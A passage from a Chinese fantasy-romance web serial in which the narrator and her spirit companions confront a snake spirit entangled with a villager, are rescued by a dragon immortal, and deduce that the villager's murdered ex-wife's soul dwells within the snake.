她本来底子就弱,你们用教状元的方式教她,给她那么大的压力,她也会撑不住的。” 话说完,一室安静。 半晌,胡玉衡歉意道:“是我们不好,没有深入了解小萦的过去。” 我把头扭到另一边继续睡,实话实说,他们当年教得还不错,至少比学校的老师有耐心。 我高三由于学习跟不上经常被班主任体罚来着,幸好我妈从不在意我学习成绩好坏。 老师每次请家长,都故意在我妈面前说我智商低脑子笨,学习多么多么差,头脑多么多么不开窍。 企图激怒我妈,好让我妈揍我一顿给我涨涨记性。 奈何我妈次次不接招,后来直接和老师说,她不在意我学习成绩好坏,只要我能顺利读完高中就行。 气的班主任从那以后再也不打电话叫她过去告状了,只默默把我的座位从教室中间调到了后门口。 没有胡玉衡他们给我补习,我根本考不上专科,混不到大学学历。 安静片刻,我突然坐起身,拉着流苏的手请求胡玉衡: “你们能不能,也教教流苏?流苏认字的,她比我聪明,比我好教! 她现在这个年纪上学是不成了,但我以前的课本都没丢,你们可以像从前教我那样,教她初高中教材上的内容!” 胡玉衡与沈沐风他们相视一眼,一致点头答应:“可以。” 流苏见胡玉衡他们答应,高兴得眼中一亮。 沈沐风歉意低头:“当年没照顾好你,是我们的错,小萦,我们会努力弥补你的。” 我假装释怀地叹口气:“都过去这么久了,不提了。” 胡玉衡深深看了我一眼,内疚哽住,绕到对面去教流苏读古诗。 傍晚六点,杨泽安来家里找我和流苏,说赵大山那边有动静了。 我和流苏着急忙慌要跑出去凑热闹,急得还在堂屋里的柳云衣忙冲已经飞奔到院门口的我们喊:“哎!还有我呢!我呢!” 我这才记起还有个柳云衣,又折返回来从供桌上抱走他的牌位。 但临走,我脑子里突然多出了另一个想法—— 抱柳云衣的牌位哪有抱龙仙大人牌位有用! 万一等会儿我们干不过那条有五百年道行的母蛇,把龙仙大人放出来,简直是王炸! 龙仙大人连打黄河鱼怪都像打着玩似的,抓一条五百年的长蛇岂不是手拿把掐? 最重要的是,危急关头柳云衣的牌位需要我保护,而龙仙大人的牌位就不一样了,他的牌位能保护我们所有人! 思考了两秒,我果断决定把龙仙大人这个护身符也带上…… 虽然他不让我打扰他清静……可整天在家待着有什么意思啊。 我带他出去呼吸一下新鲜空气! 说干就干,我拿过桌上那副无名牌位一起揣在怀里。 柳云衣: “哎?哎! 你怎么把龙尊大人也带上了? 还把我们俩放在一起! 你能不能给我住个隔间啊,你这样搞得我好怕!” 第一卷 第32章 老公救我—— 我抱着牌位往门口跑:“上千岁的老蛇了,胆子怎么这么小,说不去不怕别人笑掉大牙。” 柳云衣被迫飘在我身后,跟上我们:“别人会不会笑掉大牙我不知道,我只知道和龙尊大人靠这么近他会打掉我的大牙!” 我:“……” 龙仙大人有这么暴力吗? 由于柳云衣嚎得太狠了,路上我忍无可忍地把柳云衣牌位塞给了流苏抱着。 泪流满面的柳云衣这才吸溜着鼻涕满血复活。 我们赶到赵大山家时,阿乞师叔说风柔江墨川她们已经先到了一步。 我没有见到那两人,阿乞师叔和杨泽安为了不打草惊蛇,悄悄从堂屋拐角处溜进屋里找赵家婶子会合。 他俩行动前没和我打招呼,以至于我牵着流苏都已经跑到厨房边上了,猛一回头,才发现他俩正猫着腰从另一条路溜了…… 我本想带流苏及时回头的,但无意间,竟在昏暗夜幕里发现了蹲在厨房窗外偷看的王白雾。 王白雾小心翼翼趴在窗台上,偷窥着半敞窗户内的景象。 边看,还边没出息地猛咽口水。 怎么着,这家伙喜欢吃蛇肉啊,对着一条两米长碗口粗的大蛇咽口水…… 不过,出于好奇,我和流苏还是放轻步子,溜到了王白雾身后。 视线从半敞的窗户口望进去,我一眼就看见床上蠕动着一条浑身碧莹莹、冒绿光的大胖蛇! 那蛇目测真有两米长,身体也不止一个碗口那么粗…… 至少四个! 大蛇一身黏糊糊的,蛇皮上似还挂着潮湿的黄河水渍。 而赵大山这会子侧躺在床上,正着了迷般搂着大蛇。 紧闭双眼,满足地喘着粗气。 鼻尖溢出舒适的低吟,嗓子喑哑地与那东西说着悄悄话:“宝贝儿,再来……” 香艳的画面看得王白雾眼睛都直了。 我屏住呼吸,霎时老脸滚烫。 忙按住流苏挤过来的小脑袋,手快捂住流苏的眼睛,阻止她看见这少儿不宜的一幕。 拽着流苏往边上退了退,屋内的动静着实挺大。 男人大汗淋淋地吐着粗重浊气,床板被晃得咯吱咯吱响。 那东西倒是没发出什么声响,只一味配合缠着他。 勾得他欲罢不能,越来越亢奋。 “宝贝儿,你真软……” “皮肤真滑,就是肤色有点黯沉。” “答应我,永远不要离开我。” “给我生孩子,生多多的!” “女儿,儿子,我都要。” “宝贝儿,你比她们……听话多了。” “缠紧……” 我听得身上鸡皮疙瘩又炸出了一层,恨不得再多张两只手把流苏耳朵也给捂上。 这尺度,也忒大了点! 现场直播啊。 拉上流苏,我正打算悄悄溜走来着,谁知那屋里突然亮起一道诡异刺眼的绿光,扒在窗台上偷窥的王白雾瞬间就被那绿光给震得原地晕死了过去…… 紧接着,屋里的男人没了动静,一条粗壮的碧绿大蛇猛地破窗逃了出来,大蛇腹部隔着肚皮正冒着一团红光。 巨蛇力气极大,破窗而逃时撞飞的窗框差点拍我和流苏脑门子上。 我带着流苏慌忙躲到墙角,意图避开大蛇的注意力。 大蛇跑出来后痛苦地在门口空地上疯狂打了两圈滚,想要逃跑,却被从天而降的江墨川拦住—— 江墨川见大蛇中了自己的阴招,施法聚起法力就要直取大蛇性命。 躺在地上打滚的大蛇一个没留意就被江墨川一招击飞,重重撞在了厨房的土砖墙壁上。 受了江墨川重击的大蛇踉跄着要起身,然而下一秒,江墨川就凶狠地抓住大蛇脑袋。 像甩鞭子似的单手抠在大蛇头盖骨上,提起大蛇的蛇身,将两米长的大蛇来回咚咚摔打在门口的水泥地面上。 我抱着流苏缩在厨房拐角,只感觉整个地面都在摇晃,像地震了一样。 不过,看眼前这场景,我怀疑我们是不是高估了这条大蛇的本事。 她都快被江墨川给摔死了,还用得着阿乞师叔和柳云衣吗! 几番摔打下来,大蛇痛苦地蠕动腹部蛇皮,难受张嘴,吐了两下蛇信子,两眼一翻,身体发软的晕死在了江墨川手里。 风柔躲在堂屋里,见状激动大喊:“墨川哥哥你真厉害!” 得到心上人的夸奖,江墨川得意勾唇,沾沾自喜之余还不忘分一缕目光给我。 居高临下地睥睨着紧紧抱住流苏,躲在暗处自保的我,高冷孤傲的眼神似在向我叫嚣:他有本事,他本事大,他才是整个槐荫村最能打的那个! 江墨川扔掉昏死的巨蛇,自信满满地走近我两步,扫了眼流苏怀里抱着的牌位,厚颜无耻讥讽:“风萦,认清事实,本尊才是能救你于水火的人。” 他能不能救我于水火不好说,但我知道,他自己身后的这把火,就要烧起来了—— 我目光直勾勾盯着他背后再次爬起的大绿蛇,巨蛇睁开双眼,一双碧莹莹的竖瞳发亮发寒。 无声的冲江墨川头顶吐着猩红蛇信子,腹中的那团红光也悄然消散了,肯定是江墨川刚才的行为惹怒了她。 她这次再醒过来,连面相都变凶了! “大!”流苏瞪着出现在江墨川身后的巨蛇惊呼,我及时捂住流苏的嘴巴,不让流苏发声。 这些开了智有道行的灵物都是有独立思想的,刚才江墨川激怒了她,她眼下头一件事绝对是先找江墨川算账。 咱们只要不招惹她,她一时半会不会伤害咱们。 “墨川哥哥……小心身后啊!”风柔恐慌地提醒江墨川。 而等江墨川反应过来时,一转身,迎上的就是巨蛇的血盆大口。 巨蛇这次的战斗力肉眼可见的凶猛了几百倍,张嘴咬住江墨川的脖子就用力把江墨川往墙上猛撞—— 蛇身缠住江墨川的身体,骤然紧收,勒得江墨川猛喷一口黑血。 江墨川想再用法力击退巨蛇,但打出去的攻击被巨蛇灵活避开,巨蛇怒不可遏地瞪着江墨川,趁江墨川不注意一口毒液喷过去,顿时灼伤了江墨川的双目—— “啊——我的眼睛,我的眼!”江墨川摇头痛叫。 眼见江墨川败下阵来,掐准时机的阿乞师叔与杨泽安同时出手,一个用法术逼开大蛇,一个拿桃木剑对付大蛇。 大蛇被阿乞师叔与杨泽安分散了注意力,忙着躲避阿乞师叔的攻击,这才勉强扔开江墨川。 江墨川狼狈摔倒在地,风柔赶忙跑过去搀扶。 只是不知道江墨川脑子里哪根筋抽了,一把抓住风柔的手,下意识脱口喊道:“萦儿!” 搀扶他的风柔浑然僵住,抱着流苏刚撤到安全距离的我:“???” 夜幕另一头的风柔说话带着哭腔:“墨川哥哥……是我啊。” 江墨川怔住,十来秒钟后才歉意改口:“柔儿,本尊、刚才认错了。” 确认了,他的确瞎。 不但瞎,还脑子有问题,想得真美! 趁着那条大蛇被阿乞师叔和杨泽安拖住了,我赶紧问流苏怀里的柳云衣:“你看清没,她是不是你认识的那条蛇啊!” 柳云衣躲在牌位里牙齿打颤:“是……” 我哽住:“那你怎么不早说!” 柳云衣委屈狡辩: “我刚才想说的,我还想出去救她呢,可这不是没来得及她就醒了嘛! 她现在这攻击力这么强,我不敢冒头啊,她刚被死黑蛟惹急眼,再看见我,我得被她打死啊!” 我一时竟不知该说什么才好了,心累扶额,长叹一口气。 阿乞师兄与杨泽安还在努力和大蛇缠斗,无人在意的角落里,赵大山忽然浑浑噩噩的醒过来,走出了厨房。 瞧见阿乞师叔与杨泽安在对大蛇下手,赵大山瞬间怒目圆瞪,抄起厨房门后的铁锹就冲去阿乞师叔身后下黑手。 “不许欺负我的宝贝儿!我杀了你!” 我心下一紧,放开流苏慌忙跑去拦住他,赶在他的铁锹落在阿乞师叔后脑勺前挡在了阿乞师叔背后,抬手抓住赵大山手里的铁锹木把。 “赵大山!你疯了!你被蛇妖迷住了,快醒醒!” 赵大山瞧见是我,更加恨得牙痒痒了,猛一把将我推摔出去,举起铁锹又要来打我: “我家的事,轮不着你一个外人插手!贱人,我打死你!” 幸好杨泽安抢先一步用桃木剑砸晕赵大山,这才让我躲过一劫。 铁锹咣当掉在了我手边,我瑟缩着往远处退了退,下一秒赵大山那魁梧身体也砰地一声脸朝地摔了下来。 惊得水泥地面浮灰二尺高。 杨泽安举着桃木剑累得气喘吁吁,抬手抹了把脸上的汗,生气朝赵大山屁股上踹了脚:“你才是贱人,你全家都是!” 不过也因为赵大山这么一闹,阿乞师叔那边也有点扛不住了,杨泽安刚把我从地上拽起来,阿乞师叔就远远朝我们嚷了句:“我喊一二三——” 一二三什么? 说时迟那时快,阿乞师叔从口袋里掏出一把粉末,猛地朝大蛇脸上撒过去。 趁大蛇被粉末迷了眼,无情拽掉大蛇胸口一片连肉的绿色蛇鳞—— 大蛇顿时痛得昂头哀嚎,眼神更是凶戾。 “三!跑!” 话音落,阿乞师叔已经脚底生风跑出了三十来米远。 我和杨泽安慢半拍反应过来是怎么回事…… 阿乞师叔拽掉了大蛇一片蛇鳞。 完了,那大蛇不得吃了我们啊! 柳云衣在流苏怀里急得嗷嗷叫:“还愣着干什么,你们拽掉了她的护心鳞,不跑等死吗!” 护、心、鳞! 幸好我们的身体比脑子效率高,意识到问题严重性时,我和杨泽安已经拽着流苏狂奔了出去。 半分钟后,托那条穷追不舍的母蛇福,我和杨泽安还有流苏顺利追上了干完坏事仓皇逃命的阿乞师叔。 杨泽安被追得快要哭出来了,“阿乞师叔你没事扯人家护心鳞干啥,现在可好,那条蛇肯定想吃了咱们泄愤!” 阿乞师叔跑得吭哧吭哧大喘气:“我也不想啊,我们打不过她,只能用这个方式把她从赵家引走了。” 我怀里抱着牌位手上牵着流苏:“佛珠,用你的佛珠啊!” 阿乞师叔无奈道:“我的佛珠一出她就会魂飞魄散,我总觉得她不是什么坏蛇,不到万不得已不能用佛珠。” 难怪。 被流苏抱在怀里的柳云衣焦急出声:“不能用佛珠,不能让她魂飞魄散,我了解她,她不会无缘无故伤害任何人!” “闭嘴吧你!”杨泽安累得伸舌头:“带着你这个累赘一点用都没有,就只会躲在牌位里装缩头乌龟!” 柳云衣委屈道:“我真不是她的对手,她打我我都不敢有脾气。” 杨泽安恼火咬牙:“出息!” 话才说完,狂追上来的大蛇就一尾巴将我们所有人都给甩飞了出去—— 我和流苏摔在东边的农田里,杨泽安和阿乞师叔则被扔在了隔壁的坟茔地上。 许是因为我们离得比较近,容易杀,那条打红眼的大蛇张开血盆大口疾行而来打算先解决我和流苏。 危急关头柳云衣一道白烟从牌位里飘了出来。 “云响,是我,我是柳云……” 奈何话还没说完呢,就被大蛇一尾巴给甩出了二里地。 被大蛇尾巴震出内伤的柳云衣可怜兮兮挂在某户人家坟头的柳树枝上,瘪嘴欲哭无泪:“我就说我打不过她吧!” 大蛇不死心地探身还要吃我和流苏,千钧一发之际我抄起怀里的牌位扔向大蛇—— 大蛇精准用嘴衔住。 我闭上眼睛双手合十紧张大喊: “龙仙大人救我。” “龙王大哥救我!” “帝曦救我!” “老公救我——” 第33章 本王这辈子都不会原谅你 电光石火间,一条身形庞大威武、霸气侧漏的神龙从大蛇口中牌位里破风斩夜幕的威风凛凛飞了出来—— 骤风卷着田间杂草飒飒作响,龙吟声回荡在黄河畔寂静的夜晚里,神圣且威严。 龙仙大人出来时周身自带的强悍灵力瞬间将大蛇的脑袋撞开,震得大蛇目光呆滞口中毒液都喷了出去。 血盆大口被迫松开,牌位哐当一声掉在了泥巴结成块的农田里。 真龙从天而降,迅速化回一袭墨紫古袍、墨发如瀑、丰神俊朗的清隽谪仙。 疾风疯狂扯动龙仙大人的袖角衣摆,龙仙大人帅气地落到我身前。 单手剑指施法结印,出掌便将那条被震懵的母蛇给再次拍飞几十米远…… “云响!” 柳云衣从树杈子上挣扎下来,飞身及时赶到被震摔在地的大蛇身畔。 见龙仙大人抬手化出万千水刃打算再次攻击大蛇,柳云衣紧张的立马张开双臂挡在了大蛇前方: “龙尊大人息怒!求龙尊大人饶命,柳云响是我的故人,我了解她,她不会平白无故上岸害人!” 龙仙大人闻言,掌中水箭瞬息化回一粒粒小水滴,重新融于他掌心。 柳云衣松口气,转身歉意看向那条母蛇:“云响,是我,我是云衣。” 大蛇躺在地上呆愣了一阵,但回过神后却迅速爬起身,两米长的巨型身躯变回一条普通体型的小蛇,一溜烟就钻进田埂荒草里消失了踪影…… “云响!”柳云衣也变回一条小白蛇追了过去。 我想开口阻拦他来着,毕竟他的牌位还在我们这,他跑不了多远。 可话还没来得及说,柳云衣就不见了。 我瘫坐在地上猛地呼气,昂头就迎上了龙仙大人那两束要吃人的凶悍目光…… 龙仙大人用余光瞥了眼掉在地上的牌位,抬手,那牌位就自行飞到了龙仙大人掌中。 “风萦,你长本事了,拿本王的神位打人!你是不是忘记本王之前同你说过什么,你敢扰本王清修,本王就……” 他黑着脸,没好气的责备言语还没说完,我就先爬起身厚着脸皮挽住了他胳膊。 他一怔,俊美无俦的神颜因为我的突然亲近而褪去寒色,表面仍装作嫌弃我,可清冷的目光却再不敢于我脸上停留。 “放开本王,谁允许你靠近本王了!” “龙仙大人你刚才好帅!”我眨眨眼睛认真夸道。 龙仙大人面上一僵:“风萦,你说什么胡话……” 我再次重复:“龙仙大人你人真好。” 他:“……风萦你!” 我把他手里的牌位接过来,揣进怀里,发自肺腑的感激道: “虽然你总凶我,可我知道,你是唯一一个会对我有求必应的人。 每次我有危险,只要叫你,你立马就会出现。 你是第一个,在我害怕时会立马赶过来的人。 龙仙大人,你真的很好。” 话说完,龙仙大人看着我呆住了。 清冷紫眸直视我的双眼,似在分辨我说的话是真是假。 很久,他总算不再计较我打扰他修炼的事了。 挪开视线,脸色变了变,软下语气:“这么晚了还不回家,想睡坟摊上?” 我知道他不生气了,忙抱着牌位去把流苏也从地上拽起来,“回回回,我这就回!” 流苏讷讷的抓着我手艰难起身,和我一起路过龙仙大人身边时,礼貌地给龙仙大人鞠个躬:“谢谢姐夫!” 我觉得姐夫这个称呼好像不太对,正要纠正流苏,让她和我一起喊他龙仙来着,谁知道龙仙大人竟然没介意。 还淡淡回了流苏一声:“嗯。” 龙仙大人,大好人啊! 这年头这么大度的仙家已经不多见了。 阿乞师叔和杨泽安一瘸一拐地从隔壁坟茔地赶过来,“龙哥,还好你来得及时,不然我们就要被团灭了。” “还得是我们家小萦啊,幸好把你一起带过来了,不然指望柳云衣那个废物,咱们都得凉。” 龙仙大人看杨泽安极为不爽,冷冷反呛了句:“本王的人,什么时候成你家的了?” 杨泽安被龙仙大人冷飕飕的眼神剜得实在受不住了,不服气地妥协:“成成成,你家的,现在是你的!真小气。” 晚上九点,我和流苏回到家,简单洗了个澡后就准备钻被窝睡觉。 谁知我俩正要躺下,龙仙大人竟倏然现身在我房中,朝趴在我怀里看漫画书的流苏沉声命令:“去对面屋睡。” 流苏这个小怂包立马听话地抱着漫画书懦懦离开了我的床:“哦,好嘞姐夫。” 等小怂包走后,龙仙大人抬袖一拂,房间门就哐的一声关了上。 我不解地看着他,心跳愈发乱了节奏,默默往床里侧缩了缩,猛吞了口口水好奇问:“龙仙大人……你怎么把苏苏赶走了。” 他面无表情地回答:“从今天开始,本王要和你睡一个屋,一张床。” 我心慌意乱地啊了声,怯怯问:“龙仙大人你不是、可以去神位里休息吗?” 和我睡一张床,他不会……真想和我做两口子吧。 我、还没准备好呢。 我越想心越慌,咬住下唇有点为难,硬着头皮和他说:“那个,龙仙大人,我、我最近生理期……” 龙仙大人身影一震,意识到我在说什么后,俊脸霎时晕开一抹红,没好气道: “本王只是想借你的力量恢复修为,你、脑子里成天都在想些什么!本王、对你这身材……” 他用余光扫了眼穿着荷叶边抹胸吊带睡衣的我,闷呛一声:“不感兴趣!” 我如释重负的长松一口气,原来是我想多了啊。 不是想那样,就好! “可、可是我屋里没有多余被子了。”我不好意思地小声问:“龙仙大人,要不然,咱俩挤挤?” 家里常年只有我一个人住,流苏那间屋子的被子还是我妈从前盖过的。 柜子里只有两床夏天的薄被,现在这个时节睡,会冷。 龙仙大人考虑了下,点头答应:“可以。” 我立马乖乖往床里侧挪了挪,把被子分一半给他。 紧张地躺下去,为了避免尴尬,我特意翻身面朝墙头睡,假装不在意他的动静。 半分钟后,屋里的电灯突然熄灭。 龙仙大人缓步走到我床前,磨磨蹭蹭的合衣躺下。 等他睡好,我才屏气凝神地小声问: “那个,龙仙大人,为什么别人都是需要我的血才能增长修为,可你,只需要我亲你,和你睡在一起就行?” 他沉默良久,说:“因为本王真正需要的,并不是增长修为,而是用你解除本王体内的禁制。” “禁制……”我忍不住追问:“什么禁制?” 他这次没回答我,隔了大约五分钟,才说: “是你解除了血玉棺囚禁本王的封印,将本王放了出来。 本王与你有了夫妻之实,你我的命运,也在封印解除那一刻牢牢绑在了一起。 本王重见天日后,发现与你阴差阳错结了共生契。 有了这个共生契,本王不能离开你太远,亦不能、不与你亲近。 风萦,你还记得本王同你说过,本王是被你身上的东西引上来的么? 半个月前,你我在梦中相见,那时本王就发现你的身体……能滋养本王的元神。 也许正是这个原因,才导致本王现在,只能用你解除体内禁制。” “我的身体能滋养你的元神……”我恍然了悟,“怪不得你总在梦里、咳,那样。” 他闷声道:“你帮本王破除封印,本王给你续命,扯平了。本王帮你找龙鳞,你助本王恢复修为,这是我们之间的新交易。” 我点点头,好奇地接着问:“你之前,为什么会受伤?你去哪办事了?” 他呼吸忽沉,许久,说:“回家。” “家?”我哽住。 是啊,他都不知道被关在血玉棺里多少年了,重见天日后肯定特别想回家看看。 我抓着被子,慢慢躺平身子:“那你,见到自己的亲人了吗?” 他冷嗤一声,语气凉得彻骨:“本王没有亲人。” 缓了缓,续道:“现在连家,都回不去了。” 我听得心里愈发不是滋味,小心翼翼地试探: “那你,为什么会被关进血玉棺?又是谁,把你关进去的?” 提到这个问题,他甚是烦躁地沉声吓唬我:“风萦,舌头不想要,本王可以代劳帮你拔了!” 我晓得是戳中他痛处了,立马乖乖闭上嘴巴,安静睡觉。 不问了,再问他真要生气了…… 打了个哈欠,我静下心,在床上躺了没多久就睡意笼头,失去意识睡死了过去。 农历二月的黄河边,夜晚还是有些寒。 大抵是身边睡了个人,又离得太远的缘故,被子中间总漏风。 我睡得脑子迷糊,觉得冷就下意识往身边人怀里挤了挤。 “龙仙大人,冷……” 身边人伸手给我提了提被子,喉中哽塞: “风萦,为何要对本王那么狠,你明知本王对你……” “本王这辈子,都不会原谅你。” 第一卷 第34章 柳云响体内的另一个人 睡着的时候,总感觉有灼热的吐息扫得耳鬓发痒。 我不自在地挠了挠,发觉他怀里有暖意,就本能地伸出双臂环住他脖子,乖乖往他怀里再蹭蹭。 把头埋在他肩上…… 他不适地闷哼一声,想推开我,但按在我腰上的那双手稍稍用了下力后,却没再坚持。 “风萦,你就这么没有安全感么。还是,你以为本王不会像他们那样,在获得你的全部信任后,狠心将你抛弃,给你致命一击……” “风萦,真以为本王不会杀了你么。” 我睡得迷迷糊糊,确认抱着他暖和,就得寸进尺地继续往他怀里钻。 他怀里沁人的花香与温暖的体温将我温柔包裹住,我枕着他的手臂,鼻尖不禁溢出一丝满足的轻叹…… 无意识地喃喃自语:“帝曦……” 被我肆意汲取温暖体温的男人一僵。 我把头埋他脖窝里:“龙仙大人……你人真好。” 好久没有睡得这么踏实了。 只是这一夜,我的胸膛里总是藏着一缕来历不明的悸动。 抱着我的人一开始还动作十分僵硬,可睡着睡着,那个温柔的怀抱就完全接纳了我。 男人轻轻搂住我的腰,护住我的脑袋,会在我有几分醒转迹象时,轻抚我的头,哄我继续睡。 是他的怀抱太温暖,太舒适,太踏实,这才导致我竟破天荒地一觉睡到上午十点多! 醒来的时候,龙仙大人已经不在屋里了。 我穿好衣服打着哈欠出门,小流苏正在院子里给黄仙颜如玉剥花生。 胡玉衡晃着七条蓬松雪白的大尾巴在石磨上盘腿打坐,虎仙风震野悠哉悠哉地于太阳下打着太极。 至于不知何时回来的柳云衣则顶着与其他仙家格格不入的俊美人形,趴在四方桌上长吁短叹。 流苏抬头看见我出门,欢喜地抓了把花生送过来:“二姐,早上好!” 我揉揉眼睛,接了她的花生揣兜里,去厨房找水洗漱刷牙。 家里已经很久没有这样有人气了。 我挤好牙膏,捧着漱口杯站在厨房屋檐下睡眼惺忪地刷牙,看了眼闭目养神的胡玉衡,我好奇问道:“在这么明媚的阳光下打坐,真不会睡着吗?” 胡玉衡晃了晃自己引以为傲的大长狐尾,颇有几分仙风道骨的老仙气质,十分有哲理地回答我: “只有定力不够的人才会在打坐时因外界影响而睡着,功亏一篑。 我胡玉衡是何人,太行山三千野狐,唯有我,修炼八百年成功证得大道,飞升成仙! 我这是在汲取天地灵气,日月精华,二月二到三月三这段时间,凡界日光的阳气最充盈,特别适合仙妖精怪修炼。 我得抓住机缘,努力修行,这样说不准我很快就能重新修出一具仙身!” “这样啊。”我刷着牙口齿不清地给他加油打气:“努力!奋斗!胡玉衡你是最棒的!” 虎仙一副人身兽头的形象,打完太极最后一式,收招运气:“咱们几个好好修炼,涨一涨修为,这样小萦也能少流点血。” “说起血,那条该死的黑蛟实在太过分了!” 颜如玉一爪子拍在四方桌上,生气骂道: “这五年来数他吸小萦的血最多,小萦把他从牌位里放出来,还他自由,帮他增长修为。 可他不但不念着小萦的好,还为了那个风柔差点害小萦流血过多而死! 要不是龙尊大人及时赶回来,给小萦治伤还把自己的真元渡给小萦,小萦真就要凶多吉少了! 杨泽安说得对,他就是条恩将仇报的白眼狼!” 柳云衣扶额低喃:“还骂他呢,咱们何尝不是一样……” 虎仙与黄仙听完,同时发出了一声长叹。 我洗漱完安慰道:“从前的事都已经过去了,我没放在心上,你们也别太在意。对了柳云衣,你昨天和你的那位熟人说上话了吗?” 柳云衣心累地再次瘫回桌子上: “没有,她认出我后抽了我一巴掌,然后就自己跑了。 我不能离牌位太远,昨晚已经是在耗损道行逆天行事了。 再追我怕我会暴毙在路上,所以你们回来后没多久我也回家了。” 流苏剥了一把花生给颜如玉:“二姐,早上泽安哥过来的时候说,昨天下午有人给赵大山前妻和女儿的坟前烧纸了。” 这是心虚了。 我问:“知道是谁烧的吗?” 流苏摇摇头,“泽安哥去问过了,可惜附近没人看见。” 柳云衣坐直身体琢磨道: “反正肯定是姓赵的那家人烧的,现在年刚过,清明节还没到。 不年不节的给人上坟,八成是昨天听阿乞那么说吓着了。” 我托着下巴研究:“现在想查清赵大山前妻和女儿的死因,只能从赵大山父母还有他本人、他现任媳妇嘴里套了。” 柳云衣挥袖扫去桌上浮灰,沉声感叹:“那个赵大山看面相,没几天可活了。” “啊?他要被那条母蛇吸干了吗?”我惊讶问。 柳云衣颔首: “云响一直在汲取赵大山的阳元,她肚子里的确怀了赵大山的孩子。 但直觉告诉我,云响这么做肯定是有什么非杀赵大山不可的原因。 云响性子耿直,绝不会滥杀无辜,而且云响现在已经七百多岁了。 当初我还没离开黄河时,她就已经修行大成,化成了精怪。 只要她待在黄河不上岸,定能在千岁之前化蛇为蛟,来日前程一片光明。 可现在,她上了岸,还怀上了人类的孩子。 母蛇孕育人胎,会令自己修为大退,怀胎过程中凶险万分,一旦被人间的道士术士发现,就彻底完了。 她不爱赵大山,相反还在设法要赵大山的命,既如此为何非要怀上赵大山的孩子?这样做,对她一点好处都没有啊! 她从前明明是个修炼狂,到底是什么原因,才让她冒着七百年道行烟消云散的风险做这些无厘头的事。” 流苏歪头试探:“会不会是因为,柳云响和赵大山有什么仇怨?赵大山以前经常划船在黄河里捕鱼,还杀蛇。” 柳云衣不确定道: “难说,黄河底下的精怪都是在水域最深处修炼,那地方,凡人根本到不了。 云响也不像是会好奇心发作,往岸边靠的蛇。 哎,真是难搞,她也不愿意和我说出真相。 昨晚她被龙尊大人震伤了,这会子也不知道躲哪去疗伤了,我想找她都心有余而力不足。” 我和流苏也陪着柳云衣一起惆怅叹气:“哎——” 但让我们没想到的是,叹气声刚落,龙仙大人便悄然出现在我们身后,冷冷启唇道出关键线索: “因为要找赵大山报仇的人,根本不是柳云响,而是她体内的另一个人。” 我一惊,赶忙转身,扭头诧异问龙仙大人:“母蛇体内的另一个人?她身体中竟然还有别人!” 黄仙很有眼力见地从凳子上跳下来,请龙仙大人入座,殷勤的站龙仙大人身后给龙仙大人捶背。 虎仙倒了杯热茶呈上来请他享用,胡玉衡晃着七条狐尾激动跑来坐等吃瓜。 “龙尊大人快展开讲讲!”胡玉衡迫不及待地请求。 柳云衣经他一提醒豁然开朗:“怪不得我闻见她身上还有别的气息,原来她身体里真有别人啊!” 龙仙大人转着手里茶杯,面无表情道: “昨晚本王与她交手,发现她身体里,还有一个不属于她的魂。 那个魂,三魂七魄都在,一丝未散,被柳云响保护得很好。 是个年轻女人,看起来,二十五六岁,长发,穿着一件红裙子,右手臂有个很明显的烫伤疤。” 前面的特征实在常见,可右手臂有个烫伤疤…… 我和流苏同时想到那个人,异口同声道:“是赵大山前妻!” 柳云衣听糊涂了,嘴角狂抽:“赵大山前妻怎么会在云响体内!” 胡玉衡分析道: “人的三魂七魄,在水里是不能迅速抽离的。 云衣刚才也说过,柳云响是在黄河深处修炼。黄河下的灵物多以腐肉为食,这其中就包括尸体。 如果赵大山在杀死他的前妻后,将他的前妻丢进了黄河,而他前妻的尸体恰好被柳云响吃进肚子里,理论上来说,赵大山前妻的三魂七魄,也可能会被柳云响一同吞进腹中。 只是不知道为什么,柳云响没有将赵大山前妻的三魂七魄消化了,而是允许赵大山前妻借自己的身体报仇。 至于那个蛇胎是什么情况,我就猜不出来了。” 柳云衣全身不得劲的狐疑喃喃:“云响现在的口味都这么重了?” 我也回忆起了一些怪异画面: “对了,昨晚咱们在赵家,江墨川和那条巨蛇交手的时候,巨蛇好像根本不会反抗,一点攻击力都没有。 直到江墨川把巨蛇摔晕,巨蛇缓过神再次苏醒,她才变得不一样,攻击力超强。” 龙仙大人淡淡道: “和赵大山在一起的,不是柳云响,是赵大山前妻。 柳云响把身体支配权暂时交给了赵大山前妻,那条黑蛟攻击的,也是赵大山前妻。 只是江墨川把柳云响的身体打伤后,强行唤醒了柳云响元神,这才会连累你们被柳云响追杀。” “原来是这样啊。” 流苏咬住食指关节心有余悸道: “难怪那个母蛇身上也有血…… 阿乞师叔还说,小红嫂子周身阴气笼罩,看起来像是早就被阴魂缠上了。 但小红嫂子的情况不严重,只是身上阴气重了点,没有被阴魂影响到的痕迹。 赵家只有那间厨房怨气极重,只有赵大山被阴魂的力量伤了身子。 不过和大蛇带给他的伤害比,他家里的怨气阴气根本不值一提。” “所以,不管是蛇精迷惑他,吸噬他的精元也好,还是他家里的阴气怨气也好,其实都是来自于赵大山前妻一人。” 我顺利找到突破口: “那咱们只需要知道赵大山前妻生前到底经历过什么,找到那些怨气的来源,就能明白母蛇为什么一定要杀赵大山了!” 胡玉衡点点狐狸脑袋:“对!所以眼下最重要的,是查清她的死因。” 第一卷 第35章 他的名字,是帝曦 我托腮陷入了迷茫: “可要怎么做,才能从赵家那些人口中套出真相呢,杀人哎,现代社会杀人犯法! 直接问,她们是绝不会告诉咱们实话的。” 胡玉衡想了想,猛地竖起狐狸尖耳灵光乍现: “这样,你们还记得赵大山前妻长什么样吗?我可以变成赵大山前妻的样子,去诈赵家那些人!” 是哦,怎么忘记胡玉衡他们是仙家,精通变幻之术了! 我与流苏相视一眼,一致认同:“完全可以!” 于是在我和流苏的不断修正下,胡玉衡还真就成功变成了赵大山前妻的相貌。 一样的杏眼柳叶眉,一样的身形高挑,皮肤白皙,右臂上有道丑陋的烧伤疤。 身上穿着她刚来槐荫村时,穿的红丝绸裙子。 微卷的大长发,脖子上挂着一串珍珠项链。 脚上踩着五厘米的高跟鞋,明眸皓齿,圆脸红唇,妥妥的富家千金形象。 而我和流苏也是现在才注意到……原来赵大山的前妻,也曾这样明媚美丽,光彩照人。 和后来面色蜡黄,长发干燥如枯草,身穿洗得发白的聚酯纤维蓝裙子的农村带娃妇女,判若两人。 柳云衣打量着胡玉衡变成的赵大山前妻,捉摸不透地难以理解道: “这长相,这气质……赵大山从前救过她的命啊? 她怎么会嫁给赵大山那个乡下糙汉子呢! 看她这身打扮,应该是城里有钱姑娘才对,怎么能看上赵大山呢? 啧,这姑娘的眼光真不是一般的差!” 